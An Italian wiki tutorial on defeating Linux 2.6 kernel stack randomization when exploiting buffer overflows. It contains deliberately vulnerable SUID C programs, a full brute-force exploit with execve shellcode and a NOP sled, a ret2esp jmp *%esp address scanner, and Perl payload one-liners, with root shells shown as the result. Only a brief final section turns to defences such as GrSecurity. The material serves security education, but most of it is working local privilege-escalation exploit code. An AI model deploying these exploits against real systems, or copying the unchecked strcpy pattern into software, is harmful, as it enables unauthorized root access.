Tecniche avanzate di overflow

Da Hacknowledge.

Indice

[modifica] Prerequisiti e obiettivi

[modifica] Prerequisiti

  • Basi di programmazione in C
  • Funzionamento dello stack in ambiente Unix
  • Funzionamento delle vulnerabilità di buffer overflow

[modifica] Obiettivi

  • Illustrare le moderne tecniche di protezione del kernel 2.6
  • Sapere come aggirare la protezione fornita dallo stack randomization

[modifica] Misure di sicurezza contro gli overflow a livello kernel

Ogni giorno i bollettini di sicurezza via web si riempiono di buffer overflow trovati in questo o quel software, e sappiamo quanto una vulnerabilità di buffer overflow può essere dannosa per la sicurezza di un sistema. Laddove non arrivano le buone abitudini di programmazione da parte degli sviluppatori di software vulnerabile, viene allora incontro lo stesso kernel del sistema operativo, che implementa dei piccoli stratagemmi per rendere più difficoltoso il lavoro a un utente malizioso che vuole ottenere il controllo di un sistema sfruttando un bug di buffer overflow. In questa sede esamineremo in particolare le protezioni introdotte dal kernel Linux. Dalla versione 2.6.8 in poi del kernel, viene implementata una tecnologia che rende più difficile la localizzazione dell'indirizzo di ritorno da iniettare per redirigere il programma al codice malizioso. Questa tecnologia è detta kernel stack randomization. Per capire come funziona, dobbiamo considerare che ad ogni programma, all'atto dell'invocazione, viene riservato dello spazio sullo stack. Questo spazio nelle versioni precedenti del kernel partiva più o meno sempre dallo stesso indirizzo per un dato programma su un sistema, quindi l'indirizzo di ritorno con cui sovrascrivere tutto era abbastanza semplice da trovare. Con il kernel 2.6 invece quest'indirizzo viene calcolato in modo casuale all'atto dell'invocazione del programma, e può assumere un qualsiasi valore nel range di 8 MB sullo stack: ciò rende di sicuro inefficaci la maggior parte degli exploit che sfruttano un indirizzo fisso per sovrascrivere il valore di ritorno su EIP. Ma attenzione: questa è una tecnologia in sostanza abbastanza rudimentale, che complica la vita di un attaccante ma di certo non la rende impossibile, dato che come vedremo in questa sede esistono tecniche per eludere questa randomization ed eseguire ugualmente codice arbitrario sulla macchina vulnerabile. Per avere un livello di sicurezza maggiore su sistemi contenenti informazioni delicate è il caso di ricorrere a patch per il kernel stesso come GrSecurity o di usare addirittura un kernel SELinux (Security-Enhanced Linux), usato addirittura dal dipartimento della difesa americano. Usando queste patch o addirittura un kernel che implementa tutte le possibili patch di sicurezza è possibile rendere l'area dello stack non eseguibile, e quindi rendere inefficace ogni tentativo di esecuzione di codice iniettato sullo stack.

[modifica] Brute force sullo stack

La kernel stack randomization è una tecnica di difesa da overflow alquanto rudimentale, e ha un problema: l'indirizzo viene scelto si in modo casuale, ma all'interno di un range relativamente ristretto (8 MB). È possibile far precedere il nostro shellcode da una gran mole di istruzioni NOP, in modo da renderne più probabile l'esecuzione, ed eseguire l'applicazione vulnerabile con un buffer così costruito finché non ritorna in modo pulito, ovvero finché l'operazione non è andata a buon fine e abbiamo trovato l'indirizzo giusto. Con una tecnica del genere è possibile eseguire il codice desiderato e iniettato sullo stack in poche decine di tentativi. Ecco il codice vulnerabile che prenderemo come esempio:

#include <stdio.h>
#include <string.h>
 
main (int argc, char **argv)  {
        char buff[255];
 
        setreuid(0,0);
        strcpy (buff,argv[1]);
}

Classico esempio di codice vulnerabile a buffer overflow, che tra l'altro verrà eseguito anche con i privilegi di root se possibile (immaginiamo che l'eseguibile sia di proprietà dell'utente root e abbia il bit SUID attivo). Notiamo che la lunghezza 'magica' del buffer per sovrascrivere perfettamente l'indirizzo di ritorno è di 272 caratteri:

(gdb) r `perl -e 'print "A" x272'`
Starting program: /home/blacklight/prog/c/shellcode/vuln `perl -e 'print "A" x272'`
 
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Tuttavia, ad ogni esecuzione la cima dello stack si trova a un indirizzo diverso

(gdb) i r
......
esp            0xbfe03a00
......
esp            0xbfd13110
......
esp            0xbf905d10

Ecco un possibile codice per fare del brute force su questo eseguibile, brute force che si conclude con l'apertura di una shell di root

#include <stdio.h>
#include <string.h>
#include <unistd.h>
 
// Applicazione vulnerabile
#define VULN            "./vuln"
 
// Dimensione del buffer per ottenere la sovrascrittura di EIP
#define BUFF_LEN        272
 
// Dimensione della variabile d'ambiente dove copierò i miei NOP. È molto grande proprio
// per consentirmi più probabilità di ottenere l'esecuzione dello shellcode
// che verrà subito dopo
#define ENV_LEN 128000
 
// Indirizzo di ritorno. 0xc0000000 rappresenta l'indirizzo
// della cima dello stack su sistemi Linux, al quale sottraggo
// la lunghezza del mio programma vulnerabile, 4 (dimensione
// dell'indirizzo di ritorno) e la lunghezza della mia
// variabile d'ambiente
#define RET             (0xc0000000-strlen(VULN)-4-ENV_LEN)
 
// Shellcode, preso da http://shellcode.org
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
 
main()  {
        char buff[BUFF_LEN];
        char env_var[ENV_LEN];
        char *env[2] = { env_var,NULL };
        int *p,i,ret,pid;
 
        // Riempio di NOP la mia variabile d'ambiente
        memset (env_var,0x90,ENV_LEN);
 
        // Copio alla fine della variabile d'ambiente il mio shellcode
        memcpy (env_var+ENV_LEN-strlen(shellcode)-1,shellcode,strlen(shellcode));
 
        // Termino la mia variabile d'ambiente in modo pulito con un NULL
        env_var[ENV_LEN-1]=0;
 
        // p punterà alla mia variabile buffer
        p = (int*) buff;
 
        // Riempio il mio buffer con l'indirizzo di ritorno
        for (i=0; i<BUFF_LEN; i+=4)  {
                *p=RET;
                p++;
        }
 
        *p=0;
        ret=1;
 
        // Finché l'indirizzo di ritorno è diverso da 0...
        while (ret)  {
                // Genero un nuovo processo
                switch(pid=fork())  {
                        // Processo figlio
                        case 0:
                                // Avvia l'applicazione vulnerabile, passandogli come argomento
                                // il buffer riempito con l'indirizzo di ritorno e la mia
                                // variabile d'ambiente costruita ad hoc
                                execle (VULN,VULN,buff,NULL,env);
 
                                // A questo punto ci arriverò se e soltanto se l'exec sopra non ha
                                // generato una segmentation fault provocando un crash del programma
                                exit(1);
                                break;
 
                        // Processo padre
                        default:
                                // Attende la terminazione 'pulita' del processo figlio
                                waitpid (pid,&ret,0);
                                break;
                }
        }
}

Quello che ottengo nel giro di una decina di tentativi è una shell di root:

blacklight@nightmare:~$ ./brute
sh-3.1# whoami
root
sh-3.1#

[modifica] ret2esp

C'è un'altra soluzione per bypassare il sistema di protezione del kernel, conosciuta come ret2esp (return to ESP), tecnica molto usata anche in ambiente Windows e soprattutto per l'exploit di processi in remoto. Come soluzione, concettualmente, è estremamente semplice. Il mio obiettivo da attaccante è quello di iniettare del codice sullo stack e fare in modo che l'esecuzione del programma vada a puntare all'indirizzo che ho iniettato. Per fare ciò esiste un metodo abbastanza intuitivo. C'è una zona della memoria occupata da ogni processo che non è soggetta all'address stack randomization. È la libreria dinamica linux-gate.so.1, che generalmente si trova sempre allo stesso indirizzo (0xffffe000):

blacklight@nightmare:~/prog/c$ ldd ./10
       linux-gate.so.1 =>  (0xffffe000)
       libc.so.6 => /lib/tls/libc.so.6 (0xb7e13000)
       /lib/ld-linux.so.2 (0xb7f6a000)

Quello che faremo è molto semplice: partiamo da questo indirizzo e cerchiamo, all'interno di un certo range, la sequenza macchina corrispondente all'Assembly jmp *%esp, ovvero una sequenza che salta all'attuale cima dello stack. Questo è estremamente utile nel nostro caso, che sullo stack abbiamo salvato il nostro codice che vogliamo eseguire, in quanto abbiamo davanti una strada preferenziale che ci permette di saltare direttamente lì ed eseguirlo. Per ottenere l'indirizzo a cui si trova la nostra sequenza magica (in linguaggio macchina corrispondente, su un sistema Linux x86, a 0xffe4) usiamo un codice in C simile:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
#define  BASE_ADDR  0xffffe000
 
typedef unsigned long int u32;
typedef enum { false,true } bool;
 
u32 get_jmp(int range)  {
        char *ptr = (char *) BASE_ADDR;
        bool found=false;
        int i;
 
        for (i=0; i<range; i++)  {
                if (ptr[i] == '\xff' && ptr[i+1] == '\xe4') {
                        found=true;
                        break;
                }
        }
 
        if (!found)
                return 0;
        else
                return (u32) ptr+i;
}
 
int main(int argc, char **argv)  {
        u32 addr=get_jmp(4096);
 
        if (addr)
                printf ("JMP %%esp trovato all'indirizzo 0x%x\n",addr);
        else
                printf ("JMP %%esp non trovato\n");
 
        return 0;
}

Eseguiamolo e otterremo qualcosa di questo tipo:

blacklight@nightmare:~/prog/c$ ./ret2esp
JMP %esp trovato all'indirizzo 0xffffe75b

Ora ci basta inserire questo indirizzo all'interno del nostro buffer come indirizzo di ritorno. Prendiamo questa applicazione vulnerabile:

main(int argc, char **argv)  {
        char buff[1024];
 
        setreuid(0,0);
        strcpy (buff,argv[1]);
}

Sul mio sistema EIP viene sovrascritto completamente quando passo un buffer lungo 1040 caratteri (1036 di fill e 4 per l'indirizzo). Struttureremo quindi il buffer così:

+---------------------------+-------------------------------+-----------+
|  Riempimento (1036 byte)  | Indirizzo di ritorno (4 byte) | Shellcode |
+---------------------------+-------------------------------+-----------+

Strutturiamolo quindi così e memorizziamolo in una variabile:

blacklight@nightmare:~/prog/c$ buff=`perl -e 'print "\x90" x1036'``perl -e 'print "\x5b\xe7\xff\xff"'``cat code`

Ora eseguiamo la nostra applicazione vulnerabile passandogli come argomento il buffer così costruito:

blacklight@nightmare:~/prog/c$ ./my_vuln $buff
sh-3.1# whoami
root
sh-3.1#

[modifica] Soluzioni

La randomizzazione degli indirizzi dello stack implementata dal kernel Linux 2.6 è un'arma di difesa buona ma piuttosto rudimentale contro l'exploiting di applicazioni vulnerabili a overflow. Per sistemi normali può essere un'arma sufficiente a scoraggiare gli utenti malintenzionati meno preparati. Su sistemi contenenti informazioni delicate potrebbe non bastare. Un buon sysadmin, oltre a verificare periodicamente i bollettini di sicurezza pubblicati sul web per verificare che nessuna applicazione sui suoi sistemi sia vulnerabile, dovrebbe anche patchare il kernel con soluzioni avanzate per la sicurezza come GrSecurity, in modo da rendere non eseguibile il codice nell'area stack e quindi rendere ogni tentativo di stack overflow fallimentare.

Strumenti personali